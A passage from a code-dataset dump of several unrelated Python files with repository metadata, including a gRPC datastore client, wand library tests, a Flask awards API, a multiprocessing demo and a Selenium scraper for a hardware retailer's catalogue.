"socket.AF_INET", "line_number": 17, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 17, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 18, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEPORT", "line_number": 18, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process", "line_number": 25, "usage_type": "call"}]} {"seq_id": "39995075096", "text": "'''\n################################## client.py #############################\n# \n################################## client.py #############################\n'''\nimport random\nimport time\nimport grpc\nimport datastore_pb2\nimport datastore_pb2_grpc\nimport argparse\nimport uuid\nimport rocksdb\n\nPORT = 3000\n\n'''\nRequest Generator\n'''\n\ndef make_data(key, data):\n return datastore_pb2.Request(\n key=key,\n data=data)\n\ndef generate_request():\n tasks = [\n make_data('100', 'Forrest'),\n make_data('101', 'Chen'),\n make_data('102', 'is'),\n make_data('103', 'a'),\n make_data('104', 'student'), \n ]\n for task in tasks:\n print(\"Sending key %s and data %s\" % (task.key, task.data))\n yield task\n time.sleep(random.uniform(0.5, 1.0))\n\nclass DatastoreClient():\n \n def __init__(self, host='0.0.0.0', port=PORT):\n self.channel = grpc.insecure_channel('%s:%d' % (host, port))\n self.stub = datastore_pb2.DatastoreStub(self.channel)\n self.db = rocksdb.DB(\"hw2_follower.db\", rocksdb.Options(create_if_missing=True))\n\n '''\n Bidirectional streaming RPC\n Client send streaming data for server to take action.\n '''\n\n def put(self):\n resps = self.stub.put(generate_request())\n if resps == None:\n print(\"Empty!\")\n else:\n for resp in resps:\n print(\"Master stored key %s and value %s\" % (resp.key, resp.data))\n\n def delete(self):\n resps = self.stub.delete(generate_request())\n if resps == None:\n print(\"Empty!\")\n else:\n for resp in resps:\n print(\"Master deleted key %s and value %s\" % (resp.key, resp.data))\n\n '''\n A server-to-client streaming RPC\n Master send sterming data for follower to replicate\n '''\n\n def replicator(self, action):\n resp = self.stub.replicator(datastore_pb2.PullRequest(action=action))\n if action == 'put':\n for action in resp:\n self.db.put(action.key.encode(), action.data.encode())\n if action.data == self.db.get(action.key.encode()).decode():\n print(\"Follower stored key %s and value %s\" % (action.key, action.data))\n elif action == 'delete':\n for action in resp:\n self.db.delete(action.key.encode())\n if self.db.get(action.key.encode()) == None:\n print(\"Follower deleted key %s and value %s\" % (action.key, action.data))\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"host\", help=\"display a square of a given number\")\n args = parser.parse_args()\n print(\"Client is connecting to Server at {}:{}...\".format(args.host, PORT))\n client = DatastoreClient(host=args.host)\n \n '''\n Test Case\n '''\n client.put()\n client.replicator(\"put\")\n client.delete()\n client.replicator(\"delete\")\n\nif __name__ == \"__main__\":\n main()", "repo_name": "forrestyishichen/273FA17-FantasticThree", "sub_path": "hw2/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 2988, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datastore_pb2.Request", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 37, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 37, "usage_type": "call"}, {"api_name": "grpc.insecure_channel", "line_number": 42, "usage_type": "call"}, {"api_name": "datastore_pb2.DatastoreStub", "line_number": 43, "usage_type": "call"}, {"api_name": "rocksdb.DB", "line_number": 44, "usage_type": "call"}, {"api_name": "rocksdb.Options", "line_number": 44, "usage_type": "call"}, {"api_name": "datastore_pb2.PullRequest", "line_number": 73, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 86, "usage_type": "call"}]} {"seq_id": "6246870467", "text": "import datetime\nimport numbers\nimport re\nfrom pytest import mark, raises\n\nfrom wand.version import (MAGICK_VERSION, MAGICK_VERSION_INFO,\n MAGICK_VERSION_NUMBER, MAGICK_RELEASE_DATE,\n MAGICK_RELEASE_DATE_STRING, QUANTUM_DEPTH,\n configure_options, fonts, formats)\n\n\ndef test_version():\n \"\"\"Test version strings.\"\"\"\n match = re.match(r'^ImageMagick\\s+\\d+\\.\\d+\\.\\d+(?:-\\d+)?', MAGICK_VERSION)\n assert match\n assert isinstance(MAGICK_VERSION_INFO, tuple)\n assert (len(MAGICK_VERSION_INFO) ==\n match.group(0).count('.') + match.group(0).count('-') + 1)\n assert all(isinstance(v, int) for v in MAGICK_VERSION_INFO)\n assert isinstance(MAGICK_VERSION_NUMBER, numbers.Integral)\n assert isinstance(MAGICK_RELEASE_DATE, datetime.date)\n date_strings = (MAGICK_RELEASE_DATE.strftime('%Y-%m-%d'),\n MAGICK_RELEASE_DATE.strftime('%Y%m%d'))\n assert MAGICK_RELEASE_DATE_STRING in date_strings\n\n\ndef test_quantum_depth():\n \"\"\"QUANTUM_DEPTH must be one of 8, 16, 32, or 64.\"\"\"\n assert QUANTUM_DEPTH in (8, 16, 32, 64)\n\n\ndef test_configure_options():\n assert 'RELEASE_DATE' in configure_options('RELEASE_DATE')\n with raises(TypeError):\n configure_options(0xDEADBEEF)\n\n\ndef test_fonts():\n font_list = fonts()\n if not font_list:\n mark.skip('Fonts not configured on system')\n else:\n first_font = font_list[0]\n first_font_part = first_font[1:-1]\n assert first_font in fonts('*{0}*'.format(first_font_part))\n with raises(TypeError):\n fonts(0xDEADBEEF)\n\n\ndef test_formats():\n xc = 'XC'\n assert formats(xc) == [xc]\n with raises(TypeError):\n formats(0xDEADBEEF)\n", "repo_name": "emcconville/wand", "sub_path": "tests/misc_test.py", "file_name": "misc_test.py", "file_ext": "py", "file_size_in_byte": 1749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1332, "dataset": "github-code", "pt": "7", "api": [{"api_name": "re.match", "line_number": 14, "usage_type": "call"}, {"api_name": "wand.version.MAGICK_VERSION", "line_number": 14, "usage_type": "argument"}, {"api_name": "wand.version.MAGICK_VERSION_INFO", "line_number": 16, "usage_type": "argument"}, {"api_name": "wand.version.MAGICK_VERSION_INFO", "line_number": 17, "usage_type": "argument"}, {"api_name": "wand.version.MAGICK_VERSION_INFO", "line_number": 19, "usage_type": "name"}, {"api_name": "wand.version.MAGICK_VERSION_NUMBER", "line_number": 20, "usage_type": "argument"}, {"api_name": "numbers.Integral", "line_number": 20, "usage_type": "attribute"}, {"api_name": "wand.version.MAGICK_RELEASE_DATE", "line_number": 21, "usage_type": "argument"}, {"api_name": "datetime.date", "line_number": 21, "usage_type": "attribute"}, {"api_name": "wand.version.MAGICK_RELEASE_DATE.strftime", "line_number": 22, "usage_type": "call"}, {"api_name": "wand.version.MAGICK_RELEASE_DATE", "line_number": 22, "usage_type": "name"}, {"api_name": "wand.version.MAGICK_RELEASE_DATE.strftime", "line_number": 23, "usage_type": "call"}, {"api_name": "wand.version.MAGICK_RELEASE_DATE", "line_number": 23, "usage_type": "name"}, {"api_name": "wand.version.MAGICK_RELEASE_DATE_STRING", "line_number": 24, "usage_type": "name"}, {"api_name": "wand.version.QUANTUM_DEPTH", "line_number": 29, "usage_type": "name"}, {"api_name": "wand.version.configure_options", "line_number": 33, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 34, "usage_type": "call"}, {"api_name": "wand.version.configure_options", "line_number": 35, "usage_type": "call"}, {"api_name": "wand.version.fonts", "line_number": 39, "usage_type": "call"}, {"api_name": "pytest.mark.skip", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 41, "usage_type": "name"}, {"api_name": "wand.version.fonts", "line_number": 45, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 46, "usage_type": "call"}, {"api_name": "wand.version.fonts", "line_number": 47, "usage_type": "call"}, {"api_name": "wand.version.formats", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 53, "usage_type": "call"}, {"api_name": "wand.version.formats", "line_number": 54, "usage_type": "call"}]} {"seq_id": "72886398623", "text": "from lxml import etree as et\nfrom functools import lru_cache\n\nfrom . import model as doc\n\n\nSEPARATOR = \" \" + chr(8212) + \" \"\n\n\ndef _node_to_element_html(node: doc.ContentsTableNode) -> et.ElementBase:\n try:\n display_text = SEPARATOR.join((node.heading.ordinate, node.heading.title))\n except (AttributeError, TypeError):\n display_text = node.heading.ordinate\n li = et.Element(\"li\", {\"id\": node.locator})\n a = et.SubElement(li, \"a\")\n a.attrib[\"href\"] = node.href\n if node.children:\n # TODO: change this to\n # https://stackoverflow.com/questions/10768451/inline-svg-in-css\n et.SubElement(\n a,\n \"img\",\n attrib={\n \"class\": \"lex-fold-icon\",\n \"src\": \"/static/icons/minus-square-o.svg\",\n \"alt\": \"toggle\",\n },\n ).tail = display_text\n li.attrib[\"class\"] = \"toc-node\"\n ul = et.SubElement(li, \"ul\", {\"class\": \"w3-ul\"})\n for child in node.children:\n ul.append(_node_to_element_html(child))\n else:\n a.text = display_text\n li.attrib[\"class\"] = \"toc-leaf\"\n return li\n\n\ndef _node_to_element_xml(node: doc.ContentsTableNode) -> et.ElementBase:\n if node.children:\n e = et.Element(\"Container\")\n else:\n e = et.Element(\"Leaf\")\n e.attrib[\"Name\"] = node.heading.ordinate\n if getattr(node.heading, \"title\", None) is not None:\n e.attrib[\"Title\"] = node.heading.title\n if node.href != \"#\":\n e.attrib[\"URL\"] = node.href\n else:\n e.attrib[\"URL\"] = node.locator\n for child in node.children:\n e.append(_node_to_element_xml(child))\n return e\n\n\ndef node_to_element(node: doc.ContentsTableNode, method=\"html\"):\n if method == \"html\":\n return _node_to_element_html(node)\n assert method == \"xml\"\n return _node_to_element_xml(node)\n\n\nclass ContentsTable(doc.ContentsTable):\n def __hash__(self):\n return id(self)\n\n def embed(self, document_domain, document_id, version):\n href_template = f\"/{document_domain}/{document_id}/{{}}/{version}\"\n for node in self.table:\n if not node.children:\n href = href_template.format(node.locator)\n else:\n href = \"#\"\n node.href = href\n\n @property\n @lru_cache()\n def leaf_to_neighbour(self) -> dict:\n # TODO: Unittest this method: Edge-case: only a single leaf\n def node_2_neighbour(n: doc.ContentsTableNode):\n return {\"ordinate\": n.heading.ordinate, \"id\": n.locator}\n\n leaf_to_node = [node for node in self.table if len(node.children) == 0]\n result = {\n leaf_to_node[0].locator: {\n \"left\": None,\n \"right\": node_2_neighbour(leaf_to_node[1]),\n },\n leaf_to_node[-1].locator: {\n \"left\": node_2_neighbour(leaf_to_node[-2]),\n \"right\": None,\n },\n }\n result.update(\n {\n node.locator: {\n \"left\": node_2_neighbour(leaf_to_node[k - 1]),\n \"right\": node_2_neighbour(leaf_to_node[k + 1]),\n }\n for k, node in enumerate(leaf_to_node)\n if 0 < k < len(leaf_to_node) - 1\n }\n )\n return result\n\n def toccordior(self, version, document_id=None, method=\"html\") -> et.ElementBase:\n version = version if version != \"latest\" else \"\"\n document_id = document_id or self.abstract.id_local\n self.embed(self.abstract.domain, document_id, version)\n if method == \"html\":\n toccordion = et.Element(\n \"ul\", {\"id\": \"toccordion\", \"class\": \"w3-ul w3-medium\"}\n )\n else:\n assert method == \"xml\"\n toccordion = et.Element(\"TableOfContents\")\n for ultimate_parent in self.ultimate_parents():\n toccordion.append(node_to_element(ultimate_parent, method))\n return toccordion\n\n def locator_to_node(self):\n return {node.locator: node for node in self.table}\n\n def ultimate_parents(self):\n \"\"\"Note: side-effect: nesting!!\"\"\"\n l2n = self.locator_to_node()\n for node in self.table:\n if len(node.children) == 0:\n continue\n if type(node.children[0]) == doc.ContentsTableNode:\n # self is already nested.\n for child in node.children:\n del l2n[child.locator]\n elif type(node.children[0]) is str:\n node.children = [l2n.pop(locator) for locator in node.children]\n # list with only ultimate parents and children are\n # ContentsTableNode instances\n return l2n.values()\n", "repo_name": "Lexparency/lexhost", "sub_path": "legislative_act/toccordior.py", "file_name": "toccordior.py", "file_ext": "py", "file_size_in_byte": 4762, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lxml.etree.Element", "line_number": 15, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 15, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 16, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 16, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 21, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 21, "usage_type": "name"}, {"api_name": "lxml.etree.SubElement", "line_number": 31, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 31, "usage_type": "name"}, {"api_name": "lxml.etree.ElementBase", "line_number": 10, "usage_type": "attribute"}, {"api_name": "lxml.etree", "line_number": 10, "usage_type": "name"}, {"api_name": "lxml.etree.Element", "line_number": 42, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 42, "usage_type": "name"}, {"api_name": "lxml.etree.Element", "line_number": 44, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 44, "usage_type": "name"}, {"api_name": "lxml.etree.ElementBase", "line_number": 40, "usage_type": "attribute"}, {"api_name": "lxml.etree", "line_number": 40, "usage_type": "name"}, {"api_name": "functools.lru_cache", "line_number": 78, "usage_type": "call"}, {"api_name": "lxml.etree.Element", "line_number": 112, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 112, "usage_type": "name"}, {"api_name": "lxml.etree.Element", "line_number": 117, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 117, "usage_type": "name"}, {"api_name": "lxml.etree.ElementBase", "line_number": 107, "usage_type": "attribute"}, {"api_name": "lxml.etree", "line_number": 107, "usage_type": "name"}]} {"seq_id": "7281654284", "text": "import chardet\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\nimport re\ncorpusMN = []\ncorpusMB = []\nwith open('D:\\\\Recommender System\\\\Raw Data\\\\complete data\\\\modified_elastic.csv', 'rb') as f:\n result = chardet.detect(f.read()) # or readline if the file is large\n\ndataset = pd.read_csv('D:\\\\Recommender System\\\\Raw Data\\\\complete data\\\\modified_elastic.csv', encoding=result['encoding'])\n\nX = dataset.iloc[:, 1].values\ny = dataset.iloc[:, 0].values\n\n\ndef cleanMethodName(y):\n for i in range(0, len(y)):\n #print(i)\n methodName = str(y[i])\n #print(str(methodName))\n methodName = re.sub('\\d', '', methodName)\n pat = re.compile(r\"([1-9.<>{}()=_!/?+-])\")\n methodName = pat.sub(\" \\\\1 \", methodName)\n methodName = re.sub(r'([A-Z][a-z])', r' \\1', methodName)\n methodName = methodName.replace('_', ' ')\n methodName = methodName.lower()\n corpusMN.append(methodName)\n #print(methodName)\n return corpusMN\n\ny=cleanMethodName(y)\n\n\ndef cleanMethodBody(X):\n for i in range(0, len(X)):\n #print(i)\n methodBody = str(X[i])\n # print(str(methodBody))\n #print('\\n')\n pat = re.compile(r\"([1-9.<>{}()=;!/?+-])\")\n methodBody = pat.sub(\" \\\\1 \", methodBody)\n #print(methodBody)\n methodBody = methodBody.split()\n mb=''\n\n for a in methodBody:\n a = re.sub(r'(_|([A-Z][a-z]))', r' \\1', a)\n if len(a.split()) >1:\n a=' '+ str(a)+' '\n mb=mb+' '+str(a)\n # print('\\n')\n #print('--------------')\n mb= ''+str(mb)+' '+'\\n'\n mb = mb.replace('_', ' ')\n mb = mb.lower()\n #print(mb)\n corpusMB.append(str(mb))\n return corpusMB\n\nX=cleanMethodBody(X)\n\ndataset['methodName'] = y\ndataset['methodBody'] = X\n\ndataset.to_csv('D:\\\\Recommender System\\\\Raw Data\\\\complete data\\\\cleaned_modified_ps_elastic1.csv')\n\n", "repo_name": "srishti77/sampleRecom", "sub_path": "src/AddPrefixSubfixForSplitedWords.py", "file_name": "AddPrefixSubfixForSplitedWords.py", "file_ext": "py", "file_size_in_byte": 1966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "chardet.detect", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 24, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 25, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 27, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 43, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 50, "usage_type": "call"}]} {"seq_id": "40457222630", "text": "from flask import jsonify, make_response\nfrom flask_restx import Resource\nfrom app.models.producer_movie import ProducerMovieModel\nfrom app.models.movie import MovieModel\nfrom app.models.producer import ProducerModel\n\nfrom app.extensions.api import api\nfrom app.extensions.db import db\n\nproblem_ns = api.namespace(name='problem', description='Problem Solving Path')\n\ndef create_dict_response(producer: str, previous: int, following: int):\n return {\n \"producer\": producer,\n \"interval\": following - previous,\n \"previousWin\": previous,\n \"followingWin\": following,\n }\n\ndef get_max_from_query(partial_result, current_max, max_interval, producer) -> (list, int):\n # Calculate the maximum and minimum years\n max_year = partial_result.order_by(MovieModel.year.desc()).first()[0].year\n min_year = partial_result.order_by(MovieModel.year.asc()).first()[0].year\n subtraction = max_year - min_year\n\n if subtraction > max_interval:\n max_interval = subtraction\n current_max = [create_dict_response(producer.name, previous=min_year, following=max_year)]\n elif subtraction == max_interval:\n current_max.append(create_dict_response(producer.name, previous=min_year, following=max_year))\n \n return current_max, max_interval\n\ndef get_min_from_query(partial_result, current_min, min_interval, producer) -> (list, int):\n # Find the min difference between two wins\n min_query = partial_result.order_by(MovieModel.year.asc())\n\n for i in range(1, min_query.count()):\n following_min = min_query[i][0].year\n previous_min = min_query[i - 1][0].year\n subtraction = abs(previous_min - following_min)\n\n if subtraction < min_interval:\n min_interval = subtraction\n current_min = [create_dict_response(producer.name, previous=previous_min, following=following_min)]\n elif subtraction == min_interval:\n current_min.append(create_dict_response(producer.name, previous=previous_min, following=following_min))\n \n return current_min, min_interval\n\n@problem_ns.route('/')\nclass Problem(Resource):\n def get(self):\n # Join movies and producers via the producer_movie table and filter for winner movies\n query = db.session.query(MovieModel, ProducerModel) \\\n .join(ProducerMovieModel, MovieModel.id == ProducerMovieModel.movie_id) \\\n .join(ProducerModel, ProducerModel.id == ProducerMovieModel.producer_id) \\\n .filter(MovieModel.winner == 1) \\\n \n # Set variables\n mins = []\n maxs = []\n min_interval = float('inf')\n max_interval = float('-inf')\n \n # Get producers\n producers = ProducerModel.query.all()\n \n # Get the max and min for each producer\n for producer in producers:\n pid = producer.id\n\n # Get winners for producer\n partial_result = query.filter(ProducerModel.id == pid) \\\n \n # Only checks if the producer has 2 or more wins\n if partial_result.count() < 2:\n continue\n \n # Update the list of maxs and mins\n maxs, max_interval = get_max_from_query(partial_result, maxs, max_interval, producer)\n mins, min_interval = get_min_from_query(partial_result, mins, min_interval, producer)\n\n # Return the message in JSON\n return make_response(\n jsonify(\n {\n \"min\": mins,\n \"max\": maxs,\n }\n ), 200\n )", "repo_name": "bkpedrosuper/golden-raspberry-awards-backend", "sub_path": "app/resources/problem.py", "file_name": "problem.py", "file_ext": "py", "file_size_in_byte": 3572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "app.extensions.api.api.namespace", "line_number": 10, "usage_type": "call"}, {"api_name": "app.extensions.api.api", "line_number": 10, "usage_type": "name"}, {"api_name": "app.models.movie.MovieModel.year.desc", "line_number": 22, "usage_type": "call"}, {"api_name": "app.models.movie.MovieModel.year", "line_number": 22, "usage_type": "attribute"}, {"api_name": "app.models.movie.MovieModel", "line_number": 22, "usage_type": "name"}, {"api_name": "app.models.movie.MovieModel.year.asc", "line_number": 23, "usage_type": "call"}, {"api_name": "app.models.movie.MovieModel.year", "line_number": 23, "usage_type": "attribute"}, {"api_name": "app.models.movie.MovieModel", "line_number": 23, "usage_type": "name"}, {"api_name": "app.models.movie.MovieModel.year.asc", "line_number": 36, "usage_type": "call"}, {"api_name": "app.models.movie.MovieModel.year", "line_number": 36, "usage_type": "attribute"}, {"api_name": "app.models.movie.MovieModel", "line_number": 36, "usage_type": "name"}, {"api_name": "flask_restx.Resource", "line_number": 52, "usage_type": "name"}, {"api_name": "app.models.producer.ProducerModel", "line_number": 57, "usage_type": "argument"}, {"api_name": "app.models.producer_movie.ProducerMovieModel", "line_number": 56, "usage_type": "argument"}, {"api_name": "app.extensions.db.db.session.query", "line_number": 55, "usage_type": "call"}, {"api_name": "app.models.movie.MovieModel", "line_number": 55, "usage_type": "argument"}, {"api_name": "app.models.producer.ProducerModel", "line_number": 55, "usage_type": "argument"}, {"api_name": "app.extensions.db.db.session", "line_number": 55, "usage_type": "attribute"}, {"api_name": "app.extensions.db.db", "line_number": 55, "usage_type": "name"}, {"api_name": "app.models.movie.MovieModel.id", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.models.movie.MovieModel", "line_number": 56, "usage_type": "name"}, {"api_name": "app.models.producer_movie.ProducerMovieModel.movie_id", "line_number": 56, "usage_type": "attribute"}, {"api_name": "app.models.producer.ProducerModel.id", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.models.producer_movie.ProducerMovieModel.producer_id", "line_number": 57, "usage_type": "attribute"}, {"api_name": "app.models.producer_movie.ProducerMovieModel", "line_number": 57, "usage_type": "name"}, {"api_name": "app.models.movie.MovieModel.winner", "line_number": 58, "usage_type": "attribute"}, {"api_name": "app.models.movie.MovieModel", "line_number": 58, "usage_type": "name"}, {"api_name": "app.models.producer.ProducerModel.query.all", "line_number": 67, "usage_type": "call"}, {"api_name": "app.models.producer.ProducerModel.query", "line_number": 67, "usage_type": "attribute"}, {"api_name": "app.models.producer.ProducerModel", "line_number": 67, "usage_type": "name"}, {"api_name": "app.models.producer.ProducerModel.id", "line_number": 74, "usage_type": "attribute"}, {"api_name": "app.models.producer.ProducerModel", "line_number": 74, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 86, "usage_type": "call"}]} {"seq_id": "30680788845", "text": "import queue\nimport util\nimport time\nfrom logger import logging\nfrom multiprocessing import Process, Queue\n\n\nPROCESS_COUNT = 10\n\n\ndef worker(q):\n while True:\n logging.info(\"Waiting for message!\")\n item = q.get()\n if not item:\n logging.info(\"Terminating worker process\")\n break\n\n # Perform task\n perform_task(item)\n\n\ndef perform_task(item):\n logging.info(f\"Start worker task {item}\")\n time.sleep(1)\n logging.info(\"End worker task!\")\n\n\ndef terminate_processes(q):\n for _ in range(PROCESS_COUNT):\n q.put(None)\n\n\n@util.time_it\ndef main():\n q = Queue()\n processes = []\n for _ in range(PROCESS_COUNT):\n p = Process(target=worker, args=[q])\n p.start()\n processes.append(p)\n\n for i in range(25):\n item = f\"w{i+1:02}\"\n q.put(item)\n\n time.sleep(10)\n while not q.empty():\n time.sleep(0.5)\n logging.info(f\"---> {q.empty()}\")\n\n while not q.empty():\n time.sleep(0.5)\n\n terminate_processes(q)\n logging.info(\"Main program Ends!\")\n\n for p in processes:\n p.join()\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "LasettiVinay/webcrawler", "sub_path": "explore/use_mp.py", "file_name": "use_mp.py", "file_ext": "py", "file_size_in_byte": 1158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logger.logging.info", "line_number": 13, "usage_type": "call"}, {"api_name": "logger.logging", "line_number": 13, "usage_type": "name"}, {"api_name": "logger.logging.info", "line_number": 16, "usage_type": "call"}, {"api_name": "logger.logging", "line_number": 16, "usage_type": "name"}, {"api_name": "logger.logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "logger.logging", "line_number": 24, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 25, "usage_type": "call"}, {"api_name": "logger.logging.info", "line_number": 26, "usage_type": "call"}, {"api_name": "logger.logging", "line_number": 26, "usage_type": "name"}, {"api_name": "multiprocessing.Queue", "line_number": 36, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 39, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 47, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "logger.logging.info", "line_number": 50, "usage_type": "call"}, {"api_name": "logger.logging", "line_number": 50, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "logger.logging.info", "line_number": 56, "usage_type": "call"}, {"api_name": "logger.logging", "line_number": 56, "usage_type": "name"}, {"api_name": "util.time_it", "line_number": 34, "usage_type": "attribute"}]} {"seq_id": "23059585753", "text": "import time\n\nfrom scrapy import Request, Spider\nfrom scrapy.http.response.html import HtmlResponse\n\nfrom core.db_utils import create_db_objects\nfrom core.utils import (get_pagination, get_price,\n get_random_user_agent)\nfrom db.connect import get_session\nfrom db.tables import leroy_products\nfrom scrapy import Request, Spider\nfrom crawls.settings import LEROY_CONST\n\nimport undetected_chromedriver as uc \n# from selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\n\nclass LeroySpiderBase(Spider):\n\n name = 'leroy'\n allowed_domains = ['spb.leroymerlin.ru']\n start_urls = ['https://leroymerlin.ru/catalogue/']\n\n def __init__(self):\n\n self.options = uc.ChromeOptions()\n self.options.add_argument('--disable-blink-features=AutomationControlled')\n self.options.add_argument(f'User-Agent=\"{get_random_user_agent()}\"')\n self.driver = uc.Chrome(\n options=self.options\n )\n self.db_session = next(get_session())\n \n def __get_categories_urls(self) -> list[str]:\n \"\"\"\n \"\"\"\n categories = self.driver.find_elements(\n By.XPATH, LEROY_CONST['xpath_category'])\n return [\n category.get_attribute('href') for category in categories\n ]\n\n def start_requests(self) -> None:\n \"\"\"Начало запросов.\"\"\"\n \n self.driver.get('https://leroymerlin.ru/catalogue/')\n\n WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located(\n (By.XPATH, LEROY_CONST['xpath_category'])\n )\n )\n # TODO: all categoris\n categories_urls = self.__get_categories_urls()[2:4]\n\n for url in categories_urls:\n\n self.driver.get(url)\n counter = 1\n pagination = int(self.driver.find_element(\n By.XPATH, LEROY_CONST['xpath_pagination']).text)\n\n while counter != pagination:\n\n product_list = []\n data_list = self.driver.find_elements(\n By.XPATH, LEROY_CONST['xpath_data_list'])\n\n for element in data_list:\n \n product_name = element.find_element(\n By.XPATH, LEROY_CONST['xpath_name']).text\n product_category = self.driver.find_element(\n By.XPATH, LEROY_CONST['xpath_category_name']).text\n\n try:\n product_price = element.find_element(\n By.XPATH, LEROY_CONST['xpath_price']).text\n product_price = get_price(product_price)\n except Exception:\n try:\n product_price = element.find_element(\n By.XPATH, LEROY_CONST['xpath_best_price']).text\n product_price = get_price(product_price)\n except Exception:\n product_price = None\n\n try:\n product_measurement = element.find_element(\n By.XPATH, LEROY_CONST['xpath_measurement']).text\n except Exception:\n try:\n product_measurement = element.find_element(\n By.XPATH, LEROY_CONST['xpath_best_measurement']\n ).text\n except Exception:\n product_measurement = None\n \n product_url = element.find_element(\n By.XPATH, LEROY_CONST['xpath_url']\n ).get_attribute('href') \n \n product = {\n 'name': product_name,\n 'category': product_category,\n 'price': product_price,\n 'currency': 'Руб.',\n 'measurement': product_measurement,\n 'url': product_url,\n }\n product_list.append(product)\n\n create_db_objects(\n leroy_products, product_list, self.db_session\n )\n\n next_page_button = WebDriverWait(self.driver, 10).until(\n EC.presence_of_element_located(\n (By.XPATH, LEROY_CONST['xpath_next_page'])\n )\n )\n next_page_button.click()\n counter += 1\n time.sleep(6)\n\n self.driver.quit()\n", "repo_name": "xodiumx/parser", "sub_path": "src/crawls/services/leroy_base.py", "file_name": "leroy_base.py", "file_ext": "py", "file_size_in_byte": 4873, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scrapy.Spider", "line_number": 22, "usage_type": "name"}, {"api_name": "undetected_chromedriver.ChromeOptions", "line_number": 30, "usage_type": "call"}, {"api_name": "core.utils.get_random_user_agent", "line_number": 32, "usage_type": "call"}, {"api_name": "undetected_chromedriver.Chrome", "line_number": 33, "usage_type": "call"}, {"api_name": "db.connect.get_session", "line_number": 36, "usage_type": "call"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 42, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 42, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 52, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 53, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 53, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 54, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 54, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 54, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 65, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 65, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 65, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 71, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 71, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 71, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 76, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 76, "usage_type": "name"}, {"api_name": "crawls.settings.LEROY_CONST", "line_number": 76, "usage_type": "name"}, {"api_name": 